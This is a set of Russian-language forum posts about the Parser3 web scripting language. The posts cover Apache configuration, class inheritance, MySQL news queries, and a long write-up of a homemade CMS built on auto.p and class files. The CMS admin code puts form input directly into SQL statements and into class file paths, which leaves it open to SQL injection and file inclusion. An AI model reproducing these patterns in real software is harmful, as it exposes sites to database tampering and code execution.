обрати внимание в httpd.conf на след.\
[code]\
<IfModule mod_dir.c>\
    DirectoryIndex index.html index.htm\
</IfModule>\
[/code]\
твоя директория должна разрешать индексацию:\
[code]\
<Directory \"x:/www/html\">\
    Options [color=\"red\"]Indexes[/color] FollowSymLinks MultiViews\
    AllowOverride None\
    Order allow,deny\
    Allow from all\
</Directory>\
[/code]\
\
А вообще никаких хитростей в устаноске и настройке Apache+XP нет вроде. Всё как и в winMe.\
вот та часть httpd.conf которая за parser и виртуал в ответе:\
[code]\
# назнач. бработчиком .html файлов \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.exe \
\
# запрет .p  \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files> \
\
\
#виртуал\
#----serv1\
  <VirtualHost 127.0.0.2>\
    ServerAdmin webmaster@pickus.ru\
    ServerName pickus\
    DocumentRoot \"x:/server2/html\"\
    ScriptAlias /cgi/ \"x:/server2/cgi\"\
    ErrorLog x:/server2/error.log\
    CustomLog x:/server2/access.log common\
  </VirtualHost>\
[/code]\
\
\
P.S. Всё таки поподробней распиши ситуацию."
"18653","Спасибо. Понятно. А если надо выбрать только предпоследнию новость?"
"18654","здесь --> http://www.parser.ru/forum/?id=18637\
\
А за тем, что не понятно в доку...\
\
Ключевое слово \"Класс table \"Выборка из базы данных\"\"..."
"18655","Человек популярней объясняет, не мешай. Вообще он первый и нормально ответил. И я собственно ему и писал в Re: Без заголовка. Потом подумал, что еще кто-нибудь поможет. А многие учить жизни стали. Кто-то правда сказал что нужно. Спасибо им."
"18656","Ну не знаю...\
\
Если вы совет обратиться к документации воспринимаете как \"Учение жизни\".\
\
Вам не лень писать в форум и заставлять чтобы люди вам \"популярнее\" объясняли, а в документацию собственно по технологии  которую хотите изучить, вам обратиться видимо лень..."
"18657",":) Верно. Нет не то, не обращение к документации я имел ввиду. Но с людьми мне общаться приятней."
"18658","Я задумал следующую систему сборки страницы (эти страницы реально не существуют, они генерируются по неким шаманским алгоритмам по базе, положению звезд, гороскопу итп):\
Есть базовый класс с основным шаблоном страницы, например такой:\
[code]\
@CLASS\
page_base\
\
@show_page[]\
<html>\
<head><title>^title[]</title></head>\
<body>\
  ^page_text[]\
</body>\
</html>\
#/show_page\
\
@title[]\
default title\
#/title\
\
@page_text[]\
default page\
#/page_text\
[/code]\
Многие страницы похожи на данную, и я хочу наследовать метод [b]^show_page[][/b], в производном классе, например в классе news_page:\
[code]\
@CLASS\
news_page\
\
@USE\
page_base.p\
\
@BASE\
page_base\
\
@show_ready_page[]\
^page_base:show_page[]\
# или просто ^show_page[]\
#/show_ready_page\
\
@title[]\
TITLE ON NEWS PAGE\
#/title\
\
@page_text[]\
SOME TEXT ON NEWS PAGE\
#/page_text\
\
[/code]\
\
[b]НО![/b] не получается переопределить методы [b]^title[][/b] и  [b]^page_text[][/b] в производном классе, что бы они (переопределнные) вызывались из метода [b]^show_page[][/b].\
\
Может я че не так придумал?"
"18659","[code]\
??5? C?4?0?5?B?A?O? >?B?>?1?@?0?7?8?B?L? A?B?@?0?=?8?F?C? XML\
 ??5? C?4?0?5?B?A?O? ??@?>?A?<?>?B?@?5?B?L? 2?2?>?4? \
XML A? 8?A???>?;?L?7?>?2?0?=?8?5?<? A???8?A?:?0? A?B?8?;\
?5?9? XSL. ??A???@?0?2?L?B?5? >?H?8?1?:?C? 8? 7?0?B?5?<?\
 =?0?6?<?8?B?5? :?=?>???:?C? \"??1?=?>?2?8?B?L?\"8?;?8?\
 ??>?2?B?>?@?8?B?5? ??>???K?B?:?C? ??>?7?4?=?5?5?. \
\
\
--------------------------------------------------------------------------\
\
\"?5?3? :?>?=?F?0? \"code\" =?5? A?>?>?B?2?5?B?A?B?2?C?5?B?\
 B?5?3?C? =?0?G?0?;?0? \"i\". ??H?8?1?:?0? ??@?8? >?1?@?0?1?>\
?B?:?5? @?5?A?C?@?A?0? ''http://www.parser.ru/_rss.html''. \
!?B?@?>?:?0? 257,??>?;?>?6?5?=?8?5? 3 \
 \
[/code]</description>\
--^\
[/code]\
\
вот так :( \
Что-то с кодировкой и XML ?"
"18660","DirectoryIndex вроде прописан в Апаче по умолчанию, я помню туда когда-то еще .php  добавлял.\
Подключение Парсера сначала сделал, как учили: в .htaccess, а после этого глюка с папками - перенес в <VirtualHost></VirtualHost> - ничего не изменилось.\
При смене имени файла ничего не меняется.\
\
У меня такое подозрение есть, что при запросе из подпапки (/news/) Парсер не находит своего конфига, в котором прописаны драйверы Мискуля. А добавление новостей в базу происходит из /adm/, значит Мискуль подключается... Блин.\
\
Короче, решил, что где-то накосячил: сделал новый хост. Все с нуля создал. Проверил, на тестовой странице. Проверил все примеры до работы с Мискулем. не помогло.\
\
Может дистриб из автоустановки кривой? Ты из ZIP'а брал дистриб?"
"18662","сделай родительским классом\
@BASE\
или определяй такие методы в корневом auto.p"
"18663","Если ты досихпор недопетрил\
\
	^connect[$config.mysql_connect]{\
$news[^table::sql{SELECT * FROM `news` ORDER BY `data` DESC}]\
	}\
\
^news.offset[set](1) \
\
Вот теперь вызываю $news.тыры_мыры , будем получать данные нужной нам, предпоследней новости"
"18664","^connect[$config.mysql_connect]{\
$news[^table::sql{SELECT * FROM `news` ORDER BY `ID` DESC LIMIT 1}]\
}"
"18665","Сам с удовольствием файрбёрдом временами пользуюсь. Но Нетскейп... Не, нетскейп - под газон, под газон однозначно! )))"
"18666","в классе потомке просто не пиши определение метода @show_page[] и все будет нормально. Если он не переопределяется в классе, автоматически берётся соотв. метод из родительского класса (если он там есть).\
[code]\
@CLASS\
news_page\
\
@USE\
page_base.p\
\
@BASE\
page_base\
\
@title[]\
TITLE ON NEWS PAGE\
#/title\
\
@page_text[]\
SOME TEXT ON NEWS PAGE\
#/page_text\
[/code]"
"18669","короче все это - мое знакомство с p3 и как оно сделано.(шаз несколько поменял)\
\
буду рад конструктивной критике....\
\
В файле auto.p общедоступного сайта определены следующие переменные:\
$connect_string - строка, подключения к базе данных \
$web_url - url сайта в сети internet\
$title - заголовок окна web-браузера\
$url -запрос, передаваемый браузером web-серверу\
$parts -массив, содержащий части запроса\
$last[] - содержит текущий номер пункта меню в базе(определяется по url) \
Так же определены процедуры:\
@dbconnect[code] - процедура подключения к базе. Внутри этой процедуры следует производить все\
манипуляции с базой.\
Пример использования процедуры:\
^dbconnect{                                                         \
$menu_table[^table::sql{SELECT nmbr, name, url, hint, parent, child \
                        FROM menu                                   \
                        ORDER BY nmbr}]                             \
                                                                    \
                                                                    \
$menu_kind[^table::sql{SELECT header                                \
                       FROM menu_kind}]                             \
}\
\
@terminator[width;height] - процедура, используемая для оформления сайта\
\
@html[code;nmbr]- процедура используется в некоторый классах, для введения псевдо-тегов.\
производит следующие замены:\
1) Замена [img] на <img src=\"/path/count.jpg\"> , где count порядковый номер вхождения [img]\
2) Замена [url=\"link\"] *** [/url] на<A HREF=\"link\"> *** </A>\
3) Автообрамление url, т.е. если в тексте находится ссылка в виде текста, то она автоматически\
становится гиперссылкой. Пример: http://asd.ru заменяется на <A\
href=http://asd.ru>http://asd.ru</A>\
4) Замена [br] на<br>\
5) Замена [b]***[/b] на<b>***</b>\
6) Замена [i]***[/i] на<i>***</i>\
7) Замена [u]***[/u] на<u>***</u>\
8) Замена [p] на<p>\
9) Замена [p] на</p>\
@detect_tree[] - определяет номер меню  для текущего адреса в таблице menu и заносит полученный\
ответ в переменную $last\
@detect_uri[nmbr] - определяет строку запроса для  номера меню $nmbr\
@rusage[comment][v;now;prefix;message;line;usec] - процедура записывающая в файл rusage.log \
данные о быстродействии программы и ведущая некоторую другую статистику.\
Тело документа  разделено на две части:\
1) head\
2) body\
Это хорошо видно из определения класса @main[]\
@main[]                                                             \
^detect_tree[]                                                      \
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">      \
<HTML LANG=\"ru\">                                                    \
<HEAD>                                                              \
^head[]                                                             \
</HEAD>                                                             \
<BODY LEFTMARGIN=\"0\" TOPMARGIN=\"0\" MARGINHEIGHT=\"0\" MARGINWIDTH=\"0\">\
 <CENTER>                                                           \
^body[]                                                             \
 </CENTER>                                                          \
</BODY>                                                             \
</HTML>                                                             \
^rusage[]\
\
Класс @main[] - это основной класс, текст ответа, полученный от этого класса, будет передан\
web-браузеру как гипертекстовый документ. Иными словами, все то,  что выдаст этот класс, будет\
интерпретировано web-браузером пользователя как обычный html-документ.\
Вызов процедур ^detect_tree[] и ^rusage[] не возвращает текста, поэтому результат работы этих\
процедур не будет влиять на текст ответа.\
Процедура  ^head[]   создает объект класса class_head и вызывает метод @head_show[] этого\
класса. \
В методе этого класса содержится текст, который по стандарту HTML 4.0  [37]  может содержаться\
в теле тега <HEAD>\
Пример:\
<TITLE> $title </TITLE>                                                      \
<!--META-->                                                                     \
<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1251\">      \
<META NAME=\"discription\" CONTENT=\"Рубцовский городской сайт\">                   \
<META NAME=\"org\" CONTENT=\"ЗАО РУБЦОВСК\">                                        \
<META NAME=\"keywords\" CONTENT=\"\">\
<META NAME=\"distribution\" CONTENT= \"Global\">                                    \
<META NAME=\"rating\" CONTENT= \"General\">                                         \
<META NAME=\"resource-type\" CONTENT=\"document\">                                  \
<META NAME=\"revisit\" CONTENT=\"15 days\">                                         \
<META NAME=\"revisit-after\" CONTENT= \"15 days\">                                  \
<META NAME=\"robots\" CONTENT=\"ALL\">                                              \
<META NAME=\"copyright\" CONTENT=\"ЗАО РУБЦОВСК\">                                  \
<META NAME=\"robots\" CONTENT=\"all\">                                              \
<!--LINK-->                                                                     \
<LINK HREF=\"/style-all.css\" REL=\"stylesheet\" TYPE=\"text/css\">                   \
<LINK HREF=\"/rubtsovsk.ico\" REL=\"shortcut icon\">                                \
<!--SCRIPT-->                                                                   \
<script language=\"JavaScript\" type=\"text/javascript\">                           \
var canRollOver = false;                                                        \
var canClickDown = false;                                                       \
</script>\
Очевидно, что этот текст для разных сайтов будет различаться, по этому для простоты восприятия\
текста, содержимое тела тега <HEAD> помешено в отдельный класс.\
Процедура ^body[] возвращает  текст, который  может содержаться в теле тега <BODY>.  Все\
содержимое разбито на логические части:\
1) Top\
2) Body\
3) Bottom\
Для каждого из этих частей существует соответственно классы class_top, class_body,\
class_bottom. В классах class_top, class_bottom, содержится текст, который привилегированный\
пользователь не может изменить. Однако при переходе со страницы на страницу  некоторые изменения\
все же происходят. Например: при стандартном использовании, в верхней части сайта высвечивается\
текущей url, с возможностью перехода на более высокие уровни. А класс class_bottom содержит\
объект класса class_navigat, который отображает список меню, верхнего уровня. Однако системный\
программист имеет доступ к этим классам, по этому изменение любого класса не составляет особой\
проблемы.\
Класс class_body, в свою очередь разбит на три части\
1) Left\
2) Center\
3) Right\
Все вместе  это выглядит так:\
\
  тут типа картинка [   top    ]\
                    [l][cent][r]\
                    [  bottom  ]\
\
\
\
Это далеко не обязательное представление вида сайта, все легко меняется при изменение класса\
class_body и процедуры @body[] основного файла auto.p . Вот пример метода @body_show[] класса\
class_body:\
@body_show[] \
<TABLE BORDER=\"0\" CELLPADDING=\"0\" CELLSPACING=\"0\" WIDTH=\"100%\" >      \
 <TR>                                                                 \
  <TD CLASS=\"global\" ID=\"left\" WIDTH=\"21%\" VALIGN=\"top\" >             \
  <!--LEFT-->                                                         \
   ^MAIN:terminator[164;6]                                            \
   ^show_left[]                                                       \
  </TD> \
^if(def $MAIN:last){                                                  \
^dbconnect{                                                           \
  $last_menu_item[^table::sql{SELECT nmbr                             \
                              FROM  menu_item                         \
                              WHERE menu_nmbr=$MAIN:last and align=4}]\
}}                                                                     \
^if(def $last_menu_item.nmbr || $MAIN:right is junction){             \
  <TD CLASS=\"global\" ID=\"center\" WIDTH=\"58%\" VALIGN=\"top\">            \
   <!--CENTER-->                                                      \
   ^MAIN:terminator[442;6]                                            \
   ^show_center[]                                                     \
  </TD>                                                               \
  <TD CLASS=\"global\" ID=\"right\" WIDTH=\"21%\" VALIGN=\"top\">             \
   <!--RIGHT-->\
^MAIN:terminator(164;6)                                   \
   ^show_right[]                                             \
  </TD>                                                      \
}{<TD CLASS=\"global\" ID=\"center\" WIDTH=\"79%\" VALIGN=\"top\">   \
   <!--CENTER-->                                             \
   ^MAIN:terminator[606;6]                                   \
   ^show_center[]                                            \
  </TD> \
}                                                            \
</TABLE>                                                             \
@show_left[]                                                 \
 $temp_menu[^class_menu::create[]]                           \
 ^temp_menu.menu_show[]                                      \
 ^switcher[2]                                                 \
 ^if($MAIN:left is junction){^MAIN:left[]}                   \
                                                             \
@show_center[]                                               \
 ^switcher[3]                                                 \
  ^if($MAIN:center is junction){^MAIN:center[]}\
\
@show_right[]                                  \
   ^switcher[4]                                 \
   ^if($MAIN:right is junction){^MAIN:right[]}\
При использовании этого метода и методов классов  class_top и class_bottom  в процедуре @body[]\
получаем текст, который непосредственно отображается web-браузером пользователя. Метод класса\
@body_show[]  построен таким образом, что текст ответа для каждого url можно изменить\
непосредственно в файле index.html. При этом если в файле index.html будут определены процедуры\
@left, @center, @right, то текст этих процедур будет добавлен к ответу процедур @show_left,\
@show_center, @show_right. Однако текст процедур@show_left, @show_center, @show_right также\
можно переопределить в файле index.html! При этом все данные, которые были получены из базы и\
оформлены в виде гипертекста, будут изменены на текст процедур из этого файла. Таким образом,\
такой механизм удобно использовать для написания сложного гипертекста  с использованием процедур\
parser'a для конкретного url. Существуют другие методы написания не стандартного и сложного\
гипертекста,  однако они не предоставляют возможности использовать процедур parser'a. Это\
сделано для разграничения полномочий между системным программистом и обычным привилегированным\
пользователем, имеющим, доступ к сайту администрирования.\
Определение оператора @body[] имеет вид:\
@body[]                                   \
  $temp_top[^class_top::create[]]         \
  ^temp_top.top_show[]                    \
  $temp_body[^class_body::create[$last]]  \
  ^temp_body.body_show[]                  \
  $temp_bottom[^class_bottom::create[]]   \
  ^temp_bottom.bottom_show[]\
В данном случае создаются объекты классов class_top, class_body, class_bottom и вызываются\
методы этих классов, отвечающих за отображение необходимой информации. В методе body_show класса\
class_body подключаются необходимые классы для отображения специфичной информации из базы\
данных. Для этого используется процедура @switcher[]. Эта процедура просматривает базу данных и\
выбирает необходимые классы, которые обрабатывают информацию, присущую для данного url. Т.е.\
каждому url соответствует выборка данных, которые нужно отобразить. Эти данные  можно изменять,\
добавлять и удалять с использованием сайта администрирования.\
Процедура  @switcher[] объявляется  в файле auto.p и содержит тест:\
@switcher[align]                                                        \
^if(def $last){                                                        \
 ^dbconnect{                                                           \
  $last_menu_item[^table::sql{SELECT kind, menu_nmbr, kind_nmbr, align \
                              FROM  menu_item                          \
                              WHERE menu_nmbr=$last and align=$align   \
                              ORDER BY nmbr}]                          \
 }                                                                     \
  ^if($last_menu_item.align == $align){                                \
   ^last_menu_item.menu{                                               \
     $temp[$last_menu_item.kind]                                       \
     $temp[^temp.split[ ;h]]                                           \
     ^if(-f \"/classes/class_${temp.0}.p\"){                             \
       ^use[/classes/class_${temp.0}.p]                                \
        $temp_[^process{^^class_${temp.0}::create[]}]                  \
        ^if($temp_.show_$align is junction){                           \
        ^temp_.show_$align[$last_menu_item.kind_nmbr;$align]           \
        }                                                             \
      }                                                                 \
    }                                                                  \
  }                                                                   \
}\
Для каждого url в таблице menu_item содержится информация о тех классах, которые нужно\
использовать для отображения информации. Процедура @switcher[] проверяет существование этих\
классов и метод отображения, если класс и метод существуют, то управление передается методу\
соответствующего класса и ответ  метода этого класса добавляется в текст ответа сервера. Т.е.\
если процедура @switcher[] вызвана из метода @show_left класса @body, и существует информация\
для отображения, то будет вызван метод необходимого класса, а его ответ будет добавлен к ответу\
метода @show_left. \
Переменная $align процедуры@switcher[], содержит номер, соответствующий методу вызова. В данном\
случае методы  @show_left, @show_center, @show_right, имеют номера 2,3,4 соответственно. 1,5\
зарезервированы для методов отображения  классов class_top,  и class_bottom.  Кроме того, в\
методе @show_left вызывается метод @menu_show[] класса class_menu. Этот метод создает пункты\
меню и добавляет гипертекст, отображающий меню, в метод @show_left.  Это также можно легко\
изменить, если перенести создание объекта и  вызов метода отображение меню в интересующую\
процедуру или метод: \
$temp_menu[^class_menu::create[]]     \
 ^temp_menu.menu_show[]\
Таким образом, для корректной работы программы, необходимы следующие классы:\
1) class_body\
2) class_botom\
3) class_head\
4) class_menu\
5) class_top \
6) class_navigat \
\
В базе, кроме того, необходимы таблицы: menu, menu_item, menu_kind, stat. При этом нет\
возможности работать со специфической информацией. \
Для использования специфических данных, необходима структура данных, записанная в базе в виде\
таблицы или набора таблиц, а также класс и метод способный отобразить эти данные. В дальнейшем\
совокупность таблиц и классов, работающих с специфической информацией, будем называть сущностью.\
Имя класса выбирается для текущего url'а из базы, и при помощи процедуры @switcher[] программа\
пытается его отобразить.  Если такого класса или метода класса нет, то объект класса\
уничтожается, т.е. сущность  не отображается.\
Все специфичные классы сущностей должны быть оформлены в следующем виде:\
\
@CLASS \
#служебное имя, только прописными буквами!\
Имя_класса \
# имя класса без пробелов, желательно английскими буквами, должно совпадать с именем  файла.\
@USE\
#Служебное имя, только прописными буквами! Необязательный параметр.\
Файл_с_родительским_классом\
#методы родительского класса могут быть свободно использованы в данном классе, причем вызов\
происходит динамически.\
@BASE\
#Служебное имя, только прописными буквами! Необязательный параметр.\
Имя_родительского_класса\
#В том случае, когда в качестве родительского класса выступает другой пользовательский класс,\
необходимо подключить модуль, в котором он находится(@USE), а также объявить класс базовым\
(@BASE).\
\
@create[] \
#конструктор класса,  в этом методе обычно помешаются обращения к  базе данных, однако он может\
быть пустым.\
\
@show_2[nmbr;align]\
#Метод отображения данных заданного типа вызываемый из процедуры @show_left[] процедурой\
@switcher[]. Поля $nmbr и $align передаются методу процедурой @switcher[]. $nmbr-уникальный\
порядковый номер сущности в базе menu_item, а $align номер процедуры, из которой была вызвана\
процедура @switcher[]\
@show_3[nmbr;align]\
#Метод отображения данных заданного типа вызываемый из процедуры @show_center[] процедурой\
@switcher[]. Поля $nmbr и $align передаются методу процедурой @switcher[]. $nmbr-уникальный\
порядковый номер сущности в базе menu_item, а $align номер процедуры, из которой была вызвана\
процедура @switcher[]\
@show_4[nmbr;align]\
#Метод отображения данных заданного типа вызываемый из процедуры @show_right[] процедурой\
@switcher[]. Поля $nmbr и $align передаются методу процедурой @switcher[]. $nmbr-уникальный\
порядковый номер сущности в базе menu_item, а $align номер процедуры, из которой была вызвана\
процедура @switcher[]\
Должен существовать хотя бы один метод отображения!\
Однако это только рекомендуемый метод описания класса. Можно использовать подклассы для выбора\
вида отображения для одной и той же сущности. Например таким образом:\
@CLASS                                                               \
class_task                                                           \
@create[]                                                            \
                                                                     \
                                                                     \
@show_3[nmbr;align]                                                  \
^show[$nmbr;$align]                                                  \
                                                                     \
@show[nmbr;align]                                                    \
^dbconnect{                                                          \
$type[^table::sql{SELECT type                                        \
                  FROM task_kind                                     \
                  WHERE nmbr =$nmbr}]                                \
}                                                                    \
  ^if(-f \"/classes/class_task_type_${type.type}.p\"){                 \
       ^use[/classes/class_task_type_${type.type}.p]                 \
        $temp_[^process{^^class_task_type_${type.type}::create[]}]   \
        ^if($temp_.show_$align is junction){                         \
        ^temp_.show_$align[$nmbr]}                                   \
     }\
Как видно из примера создается один метод отображения @show_3[], таким образом, только вызов из\
процедуры @show_center[] будет успешно завершен, вызовы из всех других процедур будут\
проигнорированы. В методе @show[]  мы обращаемся к базе и делаем выборку вида отображения.\
Согласно этому виду, мы вызываем необходимый подкласс, проверяем подкласс на существование и\
существование необходимых методов. Если все проходит успешно, то создается объект данного\
подкласса и вызывается метод отображения, который возвращает некоторый текст.\
Вернемся к файлу auto.p корневого каталог web- пространства. В этом файле так же определена\
процедура @postprocess[body]. Эта процедура вызывается после формирования текста ответа, и может\
выполнять с ответом любые манипуляции. В частности, по умолчанию, процедура имеет вид:\
\
@postprocess[body]  \
^body.match[\\n][g]{}\
\
 В таком виде процедура удаляет все символы конца строки из ответа, для уменьшения трафика.\
 Для обработки ошибки 404 (документ не найден) используются совместно средства parser'a  и\
web-серверa Apache. Так если не существует файл с расширением *.html  то управление передается\
parser'у. Для обработки этой ошибки в конфигурационном методе сайта auto.p, лежащем в каталоге\
установки parser'а, используется процедура @unhandled_exception:\
\
@unhandled_exception[exception;stack]              \
^if($exception.type eq 'file.missing' && !$stack){ \
## 404 handler                                     \
$exception.handled(1)                              \
$response:location[/404.html]                      \
}{                                                 \
^unhandled_exception_release[$exception;$stack]    \
}\
 Т.е. если не найден документ, то отображается документ 404.html, иначе если другой тип ошибки,\
то вызывается процедура ^unhandled_exception_release. \
Со всеми другими типами расширений работает web-сервер Apache. Для обработки ошибки 404\
используется директива ErrorDocument 404, которая прописывается внутри директивы <Virtualhost \
*>.\
Сайт администрирования. Процедуры, переменные, классы, методы и поля.\
В файле auto.p сайта администрирования определены дополнительные переменные:\
1) $adm_url[] - url сайта администрирования\
2) $class[] - список сущностей доступных для использования. \
 \
Так же несколько отличаются и процедуры. Так класс @MAIN[] теперь строится с использованием\
трех процедур:\
1) @head[]\
2) @config[]\
3) @body[]\
\
@main[]                                                                \
^detect_tree[]                                                         \
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">         \
<HTML LANG=\"ru\">                                                       \
^head[]                                                                \
<BODY LEFTMARGIN=\"0\" TOPMARGIN=\"0\" MARGINHEIGHT=\"0\" MARGINWIDTH=\"0\">   \
 <CENTER>                                                              \
^config[]                                                              \
^body[]                                                                \
 </CENTER>                                                             \
</BODY>                                                                \
</HTML>                                                                \
^rusage[]\
\
Процедура @config[] используется для вызова конфигурационных методов. Иными словами, все данные\
которые передаются web-браузером  web-серверу Apache из форм, обрабатываются методами классов\
вызываемых из данной процедуры. Процедура @config[] имеет вид:\
@config[]           \
  ^config_top[]     \
  ^config_left[]    \
  ^config_center[]  \
  ^config_bottom[]\
\
А процедуры, вызываемые из процедуры  @config[]  имею вид:\
\
@config_top[]                          \
$temp_top[^class_top::create[]]        \
                                       \
@config_left[]                         \
$temp_menu[^class_menu::create[]]      \
                                       \
@config_center[]                       \
^temp_menu.menu_config[]               \
                                       \
@config_bottom[]\
Таким образом, все изменения общедоступного сайта выполняются методом  @menu_config[] класса\
class_menu. Однако для изменения сущностей используются методы соответствующих классов,\
вызываемых из метода @menu_config[] класса class_menu. \
Процедура @body[] также несколько отличается от процедуры @body[] общедоступного сайта и имеет\
вид: \
@body[]                                \
  ^show_top[]                          \
  $temp_body[^class_body::create[]]    \
  ^temp_body.body_show[]               \
  ^show_bottom[]\
\
@show_top[]                                \
 ^temp_top.top_show[]                      \
                                           \
@show_left[]                               \
^temp_menu.menu_show[]                     \
                                           \
@show_center[]                             \
 ^temp_menu.menu_show_config[]             \
                                           \
@show_bottom[]                             \
 $temp_bottom[^class_bottom::create[]]     \
 ^temp_bottom.bottom_show[]\
\
Такие изменения вызваны другими требованиями, предоставляемые к сайту администрирования. В\
первую очередь это быстродействие. Второе - это изменение требований к возможности использовать\
разный дизайн для отдельных url'ов. По этому все максимально упрошено. Все параметры передаются\
в виде строки запроса методом get. Это является не безопасным при использовании на общедоступных\
сайтах,  однако доступ к данному сайту имеет ограниченное число привилегированных пользователей. \
Класс @head[] остался прежним, однако произошли изменения в гипертексте. В случае неправильной\
настройки, сайт администрирования может стать общедоступным, поэтому заголовок документа не\
разрешает поисковым серверам индексировать данный сайт.\
Метод @menu_config[] класса class_menu  содержит процедуры, вызывающие методы администрирования\
сущностей:\
#add module \
^if($form:module_type eq add){                                                 \
^use[/classes/class_${form:module_name}.p]                                     \
$temp_[^process{^^class_${form:module_name}::create[]}]                        \
^temp_.add[$nmbr]                                                              \
}                                                                             \
#delete module\
\
                                                                               \
^if($form:module_type eq delete){                                              \
$temp[$form:module_name]                                                       \
$temp[^temp.split[ ;h]]                                                        \
^use[/classes/class_${temp.0}.p]                                               \
$temp_[^process{^^class_${temp.0}::create[]}]                                  \
^temp_.delete[$form:module_nmbr]                                               \
} \
#config module\
^if($form:module_type eq config){                                              \
$temp[$form:module_name]                                                       \
$temp[^temp.split[ ;h]]                                                        \
^use[/classes/class_${temp.0}.p]                                               \
$temp_[^process{^^class_${temp.0}::create[]}]                                  \
^temp_.config[$form:module_nmbr]                                               \
}                                                                              \
\
Каждая сущность должна иметь класс администрирования, содержащий методы @add[], @delete[],\
@config[], @show[]. Именно эти методы вызываются в методе @menu_config[] класса class_menu. \
Таким образом, класс администрирования сущности должен иметь вид:\
@CLASS \
#служебное имя, только прописными буквами!\
Имя_класса \
# имя класса без пробелов, желательно английскими буквами, должно совпадать с именем  файла.\
@USE\
#Служебное имя, только прописными буквами! Необязательный параметр.\
Файл_с_родительским_классом\
#методы родительского класса могут быть свободно использованы в данном классе, причем вызов\
происходит динамически.\
@BASE\
#Служебное имя, только прописными буквами! Необязательный параметр.\
Имя_родительского_класса\
#В том случае, когда в качестве родительского класса выступает другой пользовательский класс,\
необходимо подключить модуль, в котором он находится(@USE), а также объявить класс базовым\
(@BASE).\
@create[] \
#Конструктор класса, может быть пустым.\
@add[nmbr] \
#Метод добавления сущности к элементу меню с порядковым номером $nmbr\
@delete[nmbr]\
#Метод удаления сущности с порядковым номером  $nmbr\
@show[nmbr]\
#метод отображения настроек сущности c порядковым номером $nmbr\
@config[nmbr]\
#метод настройки сущности с порядковым номером $nmbr\
Пример простого класса администрирования:\
@CLASS\
class_navigat\
@create[]\
\
@add[nmbr]\
^dbconnect{\
^void:sql{INSERT INTO menu_item (menu_nmbr, kind, align)\
          VALUES ('$nmbr','navigat','4')}}\
@delete[nmbr]\
^dbconnect{\
   ^void:sql{DELETE FROM menu_item\
             WHERE nmbr=$nmbr}}\
@show[nmbr]\
^dbconnect{\
 $navigat_table[^table::sql{SELECT nmbr, menu_nmbr, kind, kind_nmbr,align\
                            FROM menu_item\
                            WHERE nmbr=$nmbr}]}\
<fieldset CLASS=\"module\">\
<FORM METHOD=\"post\">\
<BR>Центровка\
\
$align[^table::create{align}]\
^for[i](1;5){^if(-f \"/html/classes/class_navigat.p\"){\
       ^use[/html/classes/class_navigat.p]\
        $temp_[^process{^^class_navigat::create[]}]\
        ^if($temp_.show_$i is junction){\
         ^align.append{$i}\
        } } }\
   <SELECT NAME=\"navigat_align\" SIZE=\"1\">\
    <OPTION SELECTED VALUE=\"$navigat_table.align\">\
    ^switch[$navigat_table.align]{\
     ^case[1]{top}\
     ^case[2]{left}\
     ^case[3]{center}\
     ^case[4]{right}\
     ^case[5]{bottom}\
     }\
     </OPTION>\
     ^align.menu{\
     <OPTION VALUE=\"$align.align\">\
     ^switch[$align.align]{\
     ^case[1]{&gt^; top}\
     ^case[2]{&gt^;left}\
     ^case[3]{&gt^;center}\
     ^case[4]{&gt^;right}\
     ^case[5]{&gt^;bottom}\
     }     </OPTION>\
    }    </SELECT>      \
    <br>\
    <INPUT VALUE=\"Изменить\" TYPE=\"submit\">\
</FORM>\
</fieldset>\
@config[nmbr]\
^if(def $form:navigat_align){\
^dbconnect{^void:sql{UPDATE menu_item \
                     SET align = '$form:navigat_align' \
                     WHERE nmbr=$nmbr} }}\
В данном примере пользователь может изменить только один параметр в базе. Имена всех\
дополнительных сущностей должны быть прописаны в файле class.cfg. Формат файла tab-delimited.\
Столбцы разделяются знаком табуляции, а строки -переводом каретки.\
Таким образом, для полной работы с сущностью необходима структура данных в базе, класс\
отображения информации и класс администрирования.\
Разделение на классы администрирования и отображения информации кроме повышения уровня\
безопасности позволяет разделить  работу  между сотрудниками и использовать сравнительно\
неквалифицированных работников при изменении и добавлении определенных данных на сайт. Кроме \
того, классы отображения информации содержат минимум программного кода, поэтому системному\
программисту легко изменять методы отображения информации этих классов. Классы администрирования\
содержат код, не изменяющий структуры данных и не нарушающий целостность данных. Эти  классы\
достаточно сложны для понимания, однако они могут быть использованы для множества разных сайтов. \
Пакет программ может быть полностью изменен, так как доступен в виде исходных кодов. Так же\
могут быть легко добавлены новые сущности. Для этого необходимо написать два класса, которые\
будут работать с набором таблиц из базы данных. Рекомендуемая структура классов описана в данной\
документации. При добавлении нового класса необходимо выполнить следующие действия:\
1) Добавить класс администрирования в каталог ./classes сайта администрирования;\
2) Добавить класс отображения информации в каталог ./classes общедоступного сайта;\
3) Добавить имя класса в файл class.cfg в каталоге ./classes сайта администрирования;\
4) Создать структуру данных и уровни доступа в базе данных при помощи пакета pgadmin2 или любым\
другим доступным методом."
"18671","что с апачем у тебя все ок и не в нем дело.\
сделал я эти уроки из доки и попробовал получить твой результат.\
\
По всей видимости ты неправильно расположил методы по файлам auto.p Структура такая:\
[code]\
##############\
/\
- auto.p\
- index.html\
- section.cfg\
##############\
/admin/\
- index.html\
##############\
/news/\
- auto.p\
- index.html\
[/code]\
\
\
/auto.p корневой\
[code]\
@main[] \
^header[] \
^body[] \
^footer[] \
\
@auto[]\
$connect_string[mysql://user:passw@host/database]\
\
@navigation[] \
$sections[^table::load[/section.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} \
\
\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
